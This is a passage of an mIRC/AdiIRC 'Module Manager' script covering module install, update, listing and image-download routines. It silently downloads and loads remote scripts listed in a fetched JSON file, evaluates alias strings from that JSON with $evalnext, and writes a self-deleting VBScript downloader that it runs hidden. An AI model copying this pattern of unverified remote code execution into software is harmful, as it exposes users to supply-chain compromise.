  1153.     var %org_name = $upper($wmm_owner) Module Manager.mrc
  1154.     var %new_name = $nofile($script) $+ %org_name
  1155.  
  1156.     if (%name !== %org_name) && ($read($script,1) == [script]) && (!$wmm_isadi) { var %name_ini = $upper($wmm_owner) Module Manager.ini | .rename -of $qt($script) $qt($nofile($script) $+ %name_ini) | .reload -rs1 $qt($nofile($script) $+ %name_ini) | .unload -nrs $qt($script) | return }
  1157.     if (%name !== %org_name) { .rename -of $qt($script) $qt(%new_name) | .reload -rs1 $qt(%new_name) | .unload -nrs $qt($script) | return }
  1158.  
  1159.     var %pos = $wmm_getpos($mid($nopath($script),0,-4))
  1160.     if (%pos !== 1) { .reload -rs1 $qt($script) }
  1161.   }
  1162.  
  1163.   var %t = $script(0)
  1164.   while (%t) {
  1165.     var %s = $script(%t)
  1166.     var %ext = $right($nopath(%s),4)
  1167.     var %path = $wmm_getpath($mid($nopath(%s),0,-4))
  1168.  
  1169.     if ($nopath(%s) !== $nopath($script)) && (%path) && (%ext) && (%ext !== .mrc) { .unload -rs $qt($nopath(%s)) }
  1170.  
  1171.     dec %t
  1172.   }
  1173.   return
  1174.   :error | wmm_werror $scriptline $error | reseterror
  1175. }
  1176.  
  1177. alias -l wmm_reset_images {
  1178.  
  1179.   ; -i = Will fill the wmm_module dialog with the module images instead of reseting.
  1180.  
  1181.   var %h = WMM_MODULES
  1182.   var %d = wmm_module
  1183.   if (!$dialog(%d)) || ($isid) { return }
  1184.   if ($1) && ($1 == -i) && ($2) {
  1185.     var %imgs = $hget(%h,$2 $+ _images)
  1186.  
  1187.     var %i = 1
  1188.     while (%i <= $numtok(%imgs,44)) {
  1189.       if (%i == 1) {
  1190.         var %f = $wmm_temp $+ $nopath($gettok(%imgs,%i,44))
  1191.         if (!$isfile(%f)) || (!$file(%f)) { var %f = $wmm_dir $+ no_preview.png }
  1192.         if (!$isfile(%f)) || (!$file(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x026 | dialog -k $dname | return }
  1193.         did -g %d 14 $qt(%f)
  1194.       }
  1195.       if (%i == 2) {
  1196.         var %f = $wmm_temp $+ $nopath($gettok(%imgs,%i,44))
  1197.         if (!$isfile(%f)) || (!$file(%f)) { var %f = $wmm_dir $+ no_preview.png }
  1198.         if (!$isfile(%f)) || (!$file(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x027 | dialog -k $dname | return }
  1199.         did -g %d 15 $qt(%f)
  1200.       }
  1201.       if (%i == 3) {
  1202.         var %f = $wmm_temp $+ $nopath($gettok(%imgs,%i,44))
  1203.         if (!$isfile(%f)) || (!$file(%f)) { var %f = $wmm_dir $+ no_preview.png }
  1204.         if (!$isfile(%f)) || (!$file(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x028 | dialog -k $dname | return }
  1205.         did -g %d 16 $qt(%f)
  1206.       }
  1207.       inc %i
  1208.     }
  1209.     return
  1210.   }
  1211.  
  1212.   var %f = $wmm_dir $+ no_preview.png
  1213.   did -h %d 28
  1214.   if (!$isfile(%f)) || (!$file(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x008 | wmm_d_close %d }
  1215.   else { did -g %d 14,15,16 $qt(%f) }
  1216.   return
  1217.   :error | wmm_werror $scriptline $error | reseterror
  1218. }
  1219.  
  1220. alias -l wmm_mod_install {
  1221.   var %d = wmm_module
  1222.   if (!$1) || ($isid) || (!$dialog(%d)) || ($wmm_error) { return }
  1223.   if ($3 !== S_OK) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x007 | wmm_d_close %d | return }
  1224.   var %f = $noqt($5-)
  1225.   if (!$isfile(%f)) || (!$lines(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x018 | wmm_d_close %d | return }
  1226.   set -eu0 %wmm_signal_noclose 1
  1227.   .load -rs $qt(%f)
  1228.   if (!$wmm_ismod($nopath(%f))) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x012 | wmm_d_close %d | return }
  1229.   did -euz %d 6
  1230.   wmm_reset_images
  1231.   wmm_modules_installed_plus_updated_list
  1232.   wmm_input ok 60 $wmm_lang(35)
  1233.   return
  1234.   :error | wmm_werror $scriptline $error | reseterror
  1235. }
  1236.  
  1237. alias -l wmm_mod_update {
  1238.   var %d = wmm_module
  1239.   if (!$1) || ($isid) || (!$dialog(%d)) || ($wmm_error) { return }
  1240.   if ($4 !== S_OK) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x011 | wmm_d_close %d | return }
  1241.   var %f = $noqt($6-)
  1242.   if (!$isfile(%f)) || (!$lines(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x014 | wmm_d_close %d | return }
  1243.   set -eu0 %wmm_signal_noclose 1
  1244.   if ($wmm_ismod($nopath(%f))) { .unload -nrs $qt($nopath(%f)) }
  1245.   .load -rs $+ $2 $qt(%f)
  1246.   if (!$wmm_ismod($nopath(%f))) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x015 | wmm_d_close %d | return }
  1247.   wmm_modules_installed_plus_updated_list
  1248.   wmm_reset_images
  1249.   wmm_input ok 60 $wmm_lang(37)
  1250.   return
  1251.   :error | wmm_werror $scriptline $error | reseterror
  1252. }
  1253.  
  1254. alias -l wmm_check_update {
  1255.  
  1256.   ; -m = will flag that the update coming from WMM
  1257.   ; -n = will flag that the update coming from WMM settings.
  1258.   ; -s = will flag that the update coming from nowhere and it will executed as silent.
  1259.  
  1260.   if (!$1) || ($isid) { return }
  1261.   var %d = wmm_module
  1262.   var %d2 = wmm_module_sets
  1263.   var %v = wmm_update
  1264.  
  1265.   jsonopen -u %v $wmm_sets_url
  1266.   if ($jsonerror) { jsonclose %v | return }
  1267.  
  1268.   var %ver = $json(%v,latest_version).value
  1269.   var %chan = $json(%v,latest_version_channel).value
  1270.   var %date = $json(%v,latest_version_date).value
  1271.   var %url = $json(%v,latest_version_source_download).value
  1272.   if (!$wmm_isadi) { var %client = mIRC | var %client_ver = $json(%v,compatitable_mirc_version).value }
  1273.   else { var %client = AdiIRC | var %client_ver = $json(%v,compatitable_adiirc_version).value }
  1274.   jsonclose %v
  1275.  
  1276.   if (%url) && (%ver) && (%ver !== $wmm_ver) && (%chan == STABLE) {
  1277.     if ($1) && ($1 == -s) { set -eu300 %wmm_update 3 | goto end }
  1278.     var %ask = $input($wmm_lang(23) $iif(%chan,$v1,N/A) $wmm_lang(24) %ver ( $+ $iif(%date,$v1,N/A) $+ ) $wmm_lang(25) $+ . $crlf $crlf $+ $+ $wmm_lang(66) $crlf $crlf $+ $+ $wmm_lang(26),yuidbk90,$upper($wmm_owner) $wmm_lang(16) $wmm_bel $wmm_lang(22))
  1279.     if (!%ask) { return }
  1280.     if (!$wmm_internet) { wmm_input error 60 $wmm_lang(44) | set -eu0 %wmm_update 3 | return }
  1281.     :end
  1282.     if (%client_ver) && (%client_ver > $version) {
  1283.       if (%wmm_update !== 3) { wmm_input error 60 $wmm_lang(41) %client $wmm_lang(42) }
  1284.       url https:// $+ %client $+ .com
  1285.       set -eu0 %wmm_update 3
  1286.       return
  1287.     }
  1288.     wmm_d_close %d
  1289.     wmm_d_close %d2
  1290.     if ($wmm_check_initial_warn) || ($wmm_check_monitor_warn) { url %url }
  1291.     elseif (!$wmm_check_initial_warn) && (!$wmm_check_monitor_warn) {
  1292.       if ($1) && ($1 == -m) { set -eu300 %wmm_update 1 }
  1293.       if ($1) && ($1 == -n) { set -eu300 %wmm_update 2 }
  1294.       if ($wmm_isadi) { download -o wmm_check_update_install %url $qt($wmm_dir $+ $upper($wmm_owner) Module Manager.mrc) }
  1295.       else { wmm_download $qt(wmm_check_update_install) %url $qt($wmm_dir $+ $upper($wmm_owner) Module Manager.mrc) }
  1296.     }
  1297.   }
  1298.   return
  1299.   :error | wmm_werror $scriptline $error | reseterror
  1300. }
  1301.  
  1302. alias -l wmm_check_update_install {
  1303.   if ($2 !== S_OK) || ($isid) || ($wmm_error) { $iif(%wmm_update !== 3,wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x019) | unset %wmm_update | return }
  1304.   if ($4-) {
  1305.     var %lng = $wmm_dir $+ wmm_lang.ini
  1306.     var %ico = $wmm_dir $+ main.ico
  1307.     var %png = $wmm_dir $+ no_preview.png
  1308.     var %don = $wmm_dir $+ donate.png
  1309.     if ($isfile(%lng)) { .remove $qt(%lng) }
  1310.     if ($isfile(%ico)) { .remove $qt(%ico) }
  1311.     if ($isfile(%png)) { .remove $qt(%png) }
  1312.     if ($isfile(%don)) { .remove $qt(%don) }
  1313.     .timer[WMM_*] off
  1314.     .timer -ho 1 1000 .load -rs1 $qt($4-)
  1315.     wmm_tool -c
  1316.     .unload -nrs $qt($script)
  1317.   }
  1318.   return
  1319.   :error | wmm_werror $scriptline $error | reseterror
  1320. }
  1321.  
  1322. alias -l wmm_modules_silent_update {
  1323.   if (!%wmm_autoupdate_modules) || ($isid) || ($dialog(wmm_module)) || ($dialog(wmm_module_sets)) || (!$wmm_internet) || ($wmm_check_initial_warn) || ($wmm_check_monitor_warn) || ($wmm_error) { return }
  1324.   if (!$isdir($wmm_dir $+ modules)) { mkdir $qt($wmm_dir $+ modules) }
  1325.   var %v = wmm_modules_silent_update
  1326.  
  1327.   jsonopen -ud %v $wmm_sets_url
  1328.   if ($jsonerror) { return }
  1329.  
  1330.   var %t = $json(%v,modules).length
  1331.   var %x = 0
  1332.   while (%x < %t) {
  1333.     var %mod = $json(%v,modules,%x,name).value
  1334.     var %path = $wmm_getpath(%mod)
  1335.  
  1336.     if (!%mod) || (!%path) || (!$istok(%wmm_autoupdate_modules,%mod,32)) { goto next }
  1337.  
  1338.     var %ver = $json(%v,modules,%x,version).value
  1339.     var %chan = $json(%v,modules,%x,state).value
  1340.     var %url = $json(%v,modules,%x,url).value
  1341.     var %alias = $json(%v,modules,%x,alias).value
  1342.     var %tools_ver = $json(%v,modules,%x,tools_ver).value
  1343.     var %iv = $iif($isalias($right(%alias,-1)),$evalnext(%alias),0)
  1344.     var %pos = $wmm_getpos(%mod)
  1345.  
  1346.     if (%url) && (%iv) && (%ver) && (%tools_ver) && (%iv !== %ver) && ($wmm_ver >= %tools_ver) && (%chan == STABLE) {
  1347.  
  1348.       var %total = $calc(%total +1)
  1349.       var %chk_sets $right($replace(%alias,_ver,_sets),-1)
  1350.       wmm_d_close %chk_sets
  1351.       if ($wmm_isadi) { .timer[WMM_MOD_SILENT_UPDATE_ $+ %mod $+ ] -ho 1 $calc(%total * 5000) download -o wmm_mod_silent_update %url $qt(%path) }
  1352.       else { .timer[WMM_MOD_SILENT_UPDATE_ $+ %mod $+ ] -ho 1 $calc(%total * 5000) wmm_download $qt(wmm_mod_silent_update %mod %pos) %url $qt(%path) }
  1353.     }
  1354.  
  1355.     :next
  1356.     inc %x
  1357.   }
  1358.   return
  1359.   :error | wmm_werror $scriptline $error | reseterror
  1360. }
  1361.  
  1362. alias -l wmm_mod_silent_update {
  1363.   var %f = $noqt($6-)
  1364.   if (!$1) || ($isid) || ($dialog(wmm_module)) || ($dialog(wmm_module_sets)) || ($4 !== S_OK) || ($wmm_error) || (!$isfile(%f)) || (!$lines(%f)) { return }
  1365.   if ($wmm_ismod($nopath(%f))) { .unload -nrs $qt($nopath(%f)) }
  1366.   .load -rs $+ $2 $qt(%f)
  1367.   return
  1368.   :error | wmm_werror $scriptline $error | reseterror
  1369. }
  1370.  
  1371. alias -l wmm_modules_list {
  1372.   var %d = wmm_module
  1373.   var %h = WMM_MODULES
  1374.   var %hs = WMM_MODULES_SUBMENU_INSTALLED
  1375.   if (!$dialog(%d)) || ($isid) { return }
  1376.   var %v = wmm_modules_list_get
  1377.  
  1378.   if ($isfile($wmm_sets_file)) && ($lines($wmm_sets_file)) { jsonopen -f %v $qt($wmm_sets_file) }
  1379.   else { jsonopen -u %v $wmm_sets_url }
  1380.   if ($jsonerror) { jsonclose %v | wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x003 | wmm_d_close %d | return }
  1381.  
  1382.   if ($wmm_installed(total)) {
  1383.     var %tot_rem = $json(%v,removed_modules).value
  1384.     var %i = 1
  1385.     while (%i <= $wmm_installed(total)) {
  1386.       var %mod_rem = $gettok(%tot_rem,%i,32)
  1387.       if ($wmm_getpath(%mod_rem)) {
  1388.         set -eu0 %wmm_signal_noclose 1
  1389.         .unload -rs $qt($wmm_getpath(%mod_rem))
  1390.       }
  1391.       inc %i
  1392.     }
  1393.   }
  1394.  
  1395.   if ($hget(%h)) { hfree $v1 }
  1396.   if ($hget(%hs)) { hfree $v1 }
  1397.   did -rb %d 6
  1398.   hmake %h 1000
  1399.   hmake %hs 1000
  1400.  
  1401.   var %t = $json(%v,modules).length
  1402.   var %x = 0
  1403.   while (%x < %t) {
  1404.     var %mod = $json(%v,modules,%x,name).value
  1405.     if (!%mod) { goto next }
  1406.  
  1407.     .timer[WMM_MODULES_LIST_GET_ $+ %mod $+ ] -ho 1 $calc(%x * 300) wmm_modules_list_get %v %x %t %mod
  1408.  
  1409.     :next
  1410.     inc %x
  1411.   }
  1412.   return
  1413.   :error | wmm_werror $scriptline $error | reseterror
  1414. }
  1415.  
  1416. alias -l wmm_modules_list_get {
  1417.   var %d = wmm_module
  1418.   if ($1 == $null) || ($2 == $null) || ($3 == $null) || ($4 == $null) || ($isid) || (!$dialog(%d)) { return }
  1419.  
  1420.   var %h = WMM_MODULES
  1421.   var %hs = WMM_MODULES_SUBMENU_INSTALLED
  1422.   var %v = $1
  1423.   var %x = $2
  1424.   var %t = $3
  1425.   var %mod = $4
  1426.  
  1427.   var %desc = $json(%v,modules,%x,description).value
  1428.   var %images = $json(%v,modules,%x,images).value
  1429.   var %examples = $json(%v,modules,%x,examples).value
  1430.   var %changelog = $json(%v,modules,%x,changelog).value
  1431.   var %ver = $json(%v,modules,%x,version).value
  1432.   var %date = $json(%v,modules,%x,date).value
  1433.   var %alias = $json(%v,modules,%x,alias).value
  1434.   var %chan = $json(%v,modules,%x,state).value
  1435.   var %tools_ver = $json(%v,modules,%x,tools_ver).value
  1436.   var %extra_id = $json(%v,modules,%x,extra_id).value
  1437.   var %owner = $json(%v,modules,%x,owner).value
  1438.   var %url = $json(%v,modules,%x,url).value
  1439.  
  1440.   did -a %d 6 %mod
  1441.   if ($did(%d,6).lines) { did -ra %d 2 $wmm_lang(3) ( $+ $did(%d,6).lines $+ ) }
  1442.   else { did -ra %d 2 $wmm_lang(3) }
  1443.  
  1444.   var %mod_alias_name = $upper($right($gettok(%alias,1,95),-1))
  1445.   var %key = $json(%v,modules,%x,api_key).value
  1446.   var %key2 = $json(%v,modules,%x,api_key2).value
  1447.  
  1448.   if (%mod_alias_name) && (%key) { hadd -m %mod_alias_name $+ _KEYS KEY %key }
  1449.   if (%mod_alias_name) && (%key2) { hadd -m %mod_alias_name $+ _KEYS KEY2 %key2 }
  1450.  
  1451.   var %a = $replace($right(%alias,-1),_ver,_sets)
  1452.   if (!$hget(%hs,%mod)) && (%a) { hadd %hs %mod %a }
  1453.  
  1454.   if (%alias) {
  1455.     hadd %h %mod $+ _check_version_alias %alias
  1456.     hadd %h %mod $+ _check_version $iif($isalias($right(%alias,-1)),$evalnext(%alias),0)
  1457.   }
  1458.  
  1459.   if (%ver) { hadd %h %mod $+ _version %ver }
  1460.   if (%chan) { hadd %h %mod $+ _channel %chan }
  1461.   if (%date) { hadd %h %mod $+ _crdate %date }
  1462.   if (%url) { hadd %h %mod $+ _url %url }
  1463.   if (%owner) { hadd %h %mod $+ _author %owner }
  1464.   if (%tools_ver) { hadd %h %mod $+ _tools_ver %tools_ver }
  1465.   if (%extra_id) { hadd %h %mod $+ _extra_id %extra_id }
  1466.   if (%desc) { hadd %h %mod $+ _desc %desc }
  1467.   if (%changelog) { hadd %h %mod $+ _changelog %changelog }
  1468.   if (%examples) { hadd %h %mod $+ _examples %examples }
  1469.   if (%images) {
  1470.     hadd %h %mod $+ _images %images
  1471.     if (!$wmm_isadi) { wmm_get_images %images }
  1472.   }
  1473.  
  1474.   if (%x == $calc(%t -1)) {
  1475.     var %news = $json(%v,latest_news).value
  1476.     if (%news) { var %news = $replace(%news,@newline@,$+ $+ $crlf $+ $+) | did -ra %d 26 %news }
  1477.     else { did -ra %d 26 $wmm_lang(58) }
  1478.     if ($did(%d,6).lines) {
  1479.       var %r = $wmm_lang(3) ( $+ $did(%d,6).lines $+ )
  1480.       if ($did(%d,2) !== %r) { did -ra %d 2 %r }
  1481.       did -e %d 6
  1482.     }
  1483.     else {
  1484.       var %r = $wmm_lang(3)
  1485.       if ($did(%d,2) !== %r) { did -ra %d 2 %r }
  1486.     }
  1487.     if (!$wmm_isadi) { .timer[WMM_DOWNLOAD_IMAGES] -ho 1 4000 wmm_dl_images_now }
  1488.     else { .timer[WMM_DOWNLOAD_IMAGES] -ho 1 2000 wmm_dl_images_now }
  1489.  
  1490.     jsonclose %v
  1491.     wmm_modules_installed_plus_updated_list
  1492.   }
  1493.   return
  1494.   :error | wmm_werror $scriptline $error | reseterror
  1495. }
  1496.  
  1497. alias -l wmm_modules_installed_plus_updated_list {
  1498.   var %d = wmm_module
  1499.   var %h = WMM_MODULES
  1500.   if (!$dialog(%d)) || ($isid) { return }
  1501.   var %t = $did(%d,6).lines
  1502.   did -b %d 7,8,11,12,13,60,600
  1503.   did -r %d 8,60,600,250
  1504.   did -h %d 250
  1505.   if (!%t) { return }
  1506.   var %i = 1
  1507.   while (%i <= %t) {
  1508.     var %mod = $did(%d,6,%i)
  1509.     var %path = $wmm_getpath(%mod)
  1510.     if (!%mod) || (!%path) { goto next }
  1511.  
  1512.     did -a %d 60 %mod
  1513.  
  1514.     var %mod_ver = $hget(%h,%mod $+ _check_version_alias)
  1515.     var %iv = $iif($isalias($right(%mod_ver,-1)),$evalnext(%mod_ver),0)
  1516.     var %ver = $hget(%h,%mod $+ _version)
  1517.     if (%iv) && (%ver) && (%iv !== %ver) { did -a %d 600 %mod }
  1518.  
  1519.     :next
  1520.     inc %i
  1521.   }
  1522.   if ($did(%d,60).lines) {
  1523.     var %r = $wmm_lang(2) ( $+ $did(%d,60).lines $+ )
  1524.     if ($did(%d,3) !== %r) { did -ra %d 3 %r }
  1525.     did -ez %d 60
  1526.   }
  1527.   else {
  1528.     if ($did(%d,3) !== $wmm_lang(2)) { did -ra %d 3 $wmm_lang(2) }
  1529.   }
  1530.   if ($did(%d,600).lines) {
  1531.     var %r = $wmm_lang(7) ( $+ $did(%d,600).lines $+ )
  1532.     if ($did(%d,4) !== %r) { did -ra %d 4 %r }
  1533.     did -ez %d 600
  1534.   }
  1535.   else {
  1536.     if ($did(%d,4) !== $wmm_lang(7)) { did -ra %d 4 $wmm_lang(7) }
  1537.   }
  1538.   if ($dialog(%d).tab == 3) || ($dialog(%d).tab == 4) { did -ra %d 9 $wmm_lang(59) }
  1539.   elseif ($dialog(%d).tab == 2) { did -ra %d 9 $wmm_lang(9) }
  1540.   return
  1541.   :error | wmm_werror $scriptline $error | reseterror
  1542. }
  1543.  
  1544. alias -l wmm_get_images {
  1545.   var %d = wmm_module
  1546.   if (!$1) || (!$dialog(%d)) || ($isid) { return }
  1547.   var %fw = $wmm_temp $+ wmm_images_urls.txt
  1548.   var %t = $numtok($1-,44)
  1549.   var %i = 1
  1550.   while (%i <= %t) {
  1551.     var %f = $gettok($1-,%i,44)
  1552.     var %ft = $wmm_temp $+ $gettok(%f,$numtok(%f,47),47)
  1553.     var %fd = $date($file(%ft).mtime,dd/mm/yyyy)
  1554.  
  1555.     if (!$isfile(%ft)) || (!$file(%ft)) || (%fd !== $date) { write $qt(%fw) %f }
  1556.  
  1557.     inc %i
  1558.   }
  1559.   return
  1560.   :error | wmm_werror $scriptline $error | reseterror
  1561. }
  1562.  
  1563. alias -l wmm_dl_images_now {
  1564.   var %f = $wmm_temp $+ wmm_dl_images.vbs
  1565.   var %fx = $wmm_temp $+ wmm_images_urls.txt
  1566.   var %n = wmm_dl_images
  1567.   var %w = .fwrite -n %n
  1568.  
  1569.   if (!$wmm_internet) {
  1570.     if (!$wmm_isadi) {
  1571.       if ($fopen(%n)) { .fclose %n }
  1572.       if ($isfile(%fx)) { .remove $qt(%fx) }
  1573.       if ($isfile(%f)) { .remove $qt(%f) }
  1574.     }
  1575.     return
  1576.   }
  1577.  
  1578.   if ($wmm_isadi) {
  1579.     var %zip = $wmm_temp $+ wmm_modules_images.zip
  1580.     var %fd = $date($file(%zip).mtime,dd/mm/yyyy)
  1581.     if (%fd !== $date) { download -o %n $wmm_modules_images_url $qt(%zip) }
  1582.   }
  1583.   elseif (!$wmm_isadi) {
  1584.     if ($isfile(%fx)) && ($lines(%fx)) {
  1585.  
  1586.       .fopen -ox %n $qt(%f)
  1587.  
  1588.       %w Function ReplaceRegEx(origString,replaceString,replaceWith)
  1589.       %w Set TempRegEx=New RegExp
  1590.       %w TempRegEx.Pattern=replaceString
  1591.       %w TempRegEx.IgnoreCase=True
  1592.       %w ReplaceRegEx = TempRegEx.Replace(origString,replaceWith)
  1593.       %w End Function
  1594.       %w Set objFSO = CreateObject("Scripting.FileSystemObject")
  1595.       %w Set objDictionary = CreateObject("Scripting.Dictionary")
  1596.       %w currentDirectory = left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))
  1597.       %w UserInput = $qt($nopath(%fx))
  1598.       %w strHDLocationLinks = currentDirectory&""&UserInput
  1599.       %w If UserInput = "" Then
  1600.       %w Else
  1601.       %w If objFSO.FileExists(currentDirectory & UserInput) Then
  1602.       %w    ForReading = UserInput
  1603.       %w    Set objFile = objFSO.OpenTextFile(currentDirectory & UserInput,1)
  1604.       %w    i = 0
  1605.       %w        Do Until objFile.AtEndOfStream
  1606.       %w                strNextLine = objFile.Readline
  1607.       %w                If strNextLine <> "" Then
  1608.       %w                    objDictionary.Add i, strNextLine
  1609.       %w                End If
  1610.       %w                i = i + 1
  1611.       %w          Loop
  1612.       %w          objFile.Close
  1613.       %w          currentDirectory=Mid(currentDirectory,1,Len(currentDirectory)-1)
  1614.       %w          For Each strLine in objDictionary.Items
  1615.       %w                Set objFSO = CreateObject("Scripting.FileSystemObject")
  1616.       %w                linkNameSplit=Split(strLine,"/")
  1617.       %w                linkNameNumber=UBound(linkNameSplit)
  1618.       %w                linkNameTemp=""
  1619.       %w                For i = 3 To linkNameNumber-1
  1620.       %w                      linkNameTemp=linkNameTemp&"\"&linkNameSplit(i)
  1621.       %w                Next
  1622.       %w                strFileURL = strLine
  1623.       %w                strHDLocation = currentDirectory&"\"&linkNameSplit(linkNameNumber)
  1624.       %w                Set objXMLHTTP = CreateObject("MSXML2.SERVERXMLHTTP.6.0")
  1625.       %w                objXMLHTTP.open "GET", strFileURL, false
  1626.       %w                objXMLHTTP.send()
  1627.       %w                If objXMLHTTP.Status = 200 Then
  1628.       %w                      Set objADOStream = CreateObject("ADODB.Stream")
  1629.       %w                      objADOStream.Open
  1630.       %w                      objADOStream.Type = 1
  1631.       %w                      objADOStream.Write objXMLHTTP.ResponseBody
  1632.       %w                      objADOStream.Position = 0
  1633.       %w                      Set objFSO = Createobject("Scripting.FileSystemObject")
  1634.       %w                      If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
  1635.       %w                      Set objFSO = Nothing
  1636.       %w                      objADOStream.SaveToFile strHDLocation
  1637.       %w                      objADOStream.Close
  1638.       %w                      Set objADOStream = Nothing
  1639.       %w                  End if
  1640.       %w                Set objXMLHTTP = Nothing
  1641.       %w          Next
  1642.       %w          Set objFSO = Createobject("Scripting.FileSystemObject")
  1643.       %w          If objFSO.Fileexists(strHDLocationLinks) Then objFSO.DeleteFile strHDLocationLinks
  1644.       %w          If objFSO.Fileexists(WScript.ScriptFullName) Then objFSO.DeleteFile WScript.ScriptFullName
  1645.       %w    Else
  1646.       %w    End if
  1647.       %w End if
  1648.  
  1649.       .fclose %n
  1650.  
  1651.       if ($isfile(%f)) && ($lines(%f) == 60) { run -h $qt(%f) }
  1652.     }
  1653.   }
  1654.   return
  1655.   :error | wmm_werror $scriptline $error | reseterror
  1656. }
  1657.  
  1658. alias -l wmm_tool {
  1659.  
  1660.   ; -s = start toolbar
  1661.   ; -c = close toolbar
  1662.   ; -e = check the toolbar
  1663.   ; -b = uncheck the toolbar
  1664.   ; -t = update tooltip via correct language
  1665.  
  1666.   if (!$1) || ($left($1,1) !== -) || ($wmm_error) || ($isid) || (s !isincs $1) && (c !isincs $1) && (t !isincs $1) && (e !isincs $1) && (b !isincs $1) { return }
  1667.   if (!%wmm_tool) && ($toolbar(wmm)) { wmm_t_close wmm | wmm_t_close wmm1 | return }
  1668.   if (s isincs $1) && (%wmm_tool) {
  1669.     var %d = wmm_module
  1670.     var %ico = $wmm_dir $+ main.ico
  1671.     if (!$isfile(%ico)) || (!$file(%ico)) { wmm_dl $wmm_main_ico_url $qt(%ico) | return }
  1672.     wmm_t_close wmm
  1673.     wmm_t_close wmm1
  1674.     toolbar -as wmm1
  1675.     toolbar -ak $+ $iif($dialog(%d),1,0) wmm $qt($upper($wmm_owner) $wmm_lang(16) - ( $+ $wmm_lang(74) $+ )) $qt(%ico) $qt(/wmm_check_open) @wmm
  1676.   }
  1677.   if (c isincs $1) { wmm_t_close wmm | wmm_t_close wmm1 }
  1678.   if (t isincs $1) && ($toolbar(wmm)) && (%wmm_tool) { toolbar -t wmm $qt($upper($wmm_owner) $wmm_lang(16) - ( $+ $wmm_lang(74) $+ )) }
  1679.   if (e isincs $1) && ($toolbar(wmm)) && (%wmm_tool) { toolbar -k1 wmm }
  1680.   if (b isincs $1) && ($toolbar(wmm)) && (%wmm_tool) { toolbar -k0 wmm }
  1681.   return
  1682.   :error | wmm_werror $scriptline $error | reseterror
  1683. }
  1684.  
  1685. alias -l wmm_check_open {
  1686.   if ($isid) || ($wmm_error) { return }
  1687.   if ($dialog(wmm_module)) { wmm | return }
  1688.   if ($dialog(wmm_module_sets)) { wmm_sets | return }
  1689.   wmm
  1690.   return
  1691.   :error | wmm_werror $scriptline $error | reseterror
  1692. }
  1693.  
  1694. alias -l wmm_modules_settings_list {
  1695.   var %hs = WMM_MODULES_SUBMENU_INSTALLED
  1696.   var %d = wmm_module_sets
  1697.   var %v = wmm_modules_sets
  1698.   if (!$dialog(%d)) || ($isid) { return }
  1699.  
  1700.   if ($isfile($wmm_sets_file)) && ($lines($wmm_sets_file)) { jsonopen -fd %v $qt($wmm_sets_file) }
  1701.   else { jsonopen -ud %v $wmm_sets_url }
  1702.   if ($jsonerror) { return }
  1703.  
  1704.   if ($wmm_installed(total)) {
  1705.     var %tot_rem = $json(%v,removed_modules).value
  1706.     var %z = 1
  1707.     while (%z <= $wmm_installed(total)) {
  1708.       var %mod_rem = $gettok(%tot_rem,%z,32)
  1709.       if ($wmm_getpath(%mod_rem)) {
  1710.         set -eu0 %wmm_signal_noclose 1
  1711.         .unload -rs $qt($wmm_getpath(%mod_rem))
  1712.       }
  1713.       inc %z
  1714.     }
  1715.   }
  1716.  
  1717.   did -r %d 3
  1718.   did -b %d 3,4
  1719.  
  1720.   if (%wmm_autoupdate_modules) {
  1721.     var %i = 1
  1722.     while (%i <= $numtok(%wmm_autoupdate_modules,32)) {
  1723.       var %m = $gettok(%wmm_autoupdate_modules,%i,32)
  1724.  
  1725.       if (!%m) { goto next2 }
  1726.       if (!$wmm_getpath(%m)) { set %wmm_autoupdate_modules $remtok(%wmm_autoupdate_modules,%m,1,32) | goto next2 }
  1727.  
  1728.       did -a %d 5 %m
  1729.  
  1730.       :next2
  1731.       inc %i
  1732.     }
  1733.   }
  1734.   else { did -b %d 5,6 }
  1735.  
  1736.   if ($hget(%hs)) { hfree %hs }
  1737.   hmake %hs 1000
  1738.  
  1739.   var %t = $json(%v,modules).length
  1740.   if (!%t) { return }
  1741.   var %x = 0
  1742.   while (%x < %t) {
  1743.     var %mod = $json(%v,modules,%x,name).value
  1744.     var %alias = $json(%v,modules,%x,alias).value
  1745.  
  1746.     var %mod_alias_name = $upper($right($gettok(%alias,1,95),-1))
  1747.     var %key = $json(%v,modules,%x,api_key).value
  1748.     var %key2 = $json(%v,modules,%x,api_key2).value
  1749.  
  1750.     if (%mod_alias_name) && (%key) { hadd -m %mod_alias_name $+ _KEYS KEY %key }
  1751.     if (%mod_alias_name) && (%key2) { hadd -m %mod_alias_name $+ _KEYS KEY2 %key2 }
  1752.  
  1753.     var %a = $replace($right(%alias,-1),_ver,_sets)
  1754.     if (%mod) && (%a) && (!$hget(%hs,%mod)) { hadd %hs %mod %a }
  1755.  
  1756.     if (!%mod) || (!$wmm_getpath(%mod)) || ($didwm(%d,5,%mod)) { goto next }
  1757.  
  1758.     did -a %d 3 %mod
  1759.  
  1760.     :next
  1761.     inc %x
  1762.   }
  1763.   if ($did(%d,3).lines) { did -ra %d 7 $wmm_lang(67) ( $+ $did(%d,3).lines $+ ) | did -e %d 3 }
  1764.   else { did -b %d 3,4 }
  1765.   if ($did(%d,5).lines) { did -ra %d 8 $wmm_lang(68) ( $+ $did(%d,5).lines $+ ) | did -e %d 5 }
  1766.   else { did -b %d 6 }
  1767.   return
  1768.   :error | wmm_werror $scriptline $error | reseterror
  1769. }
  1770.  
  1771. alias -l wmm_modules_menu_get_installed {
  1772.  
  1773.   ; -g = will try to get and save only the MENUS and KEYS in hash.
  1774.  
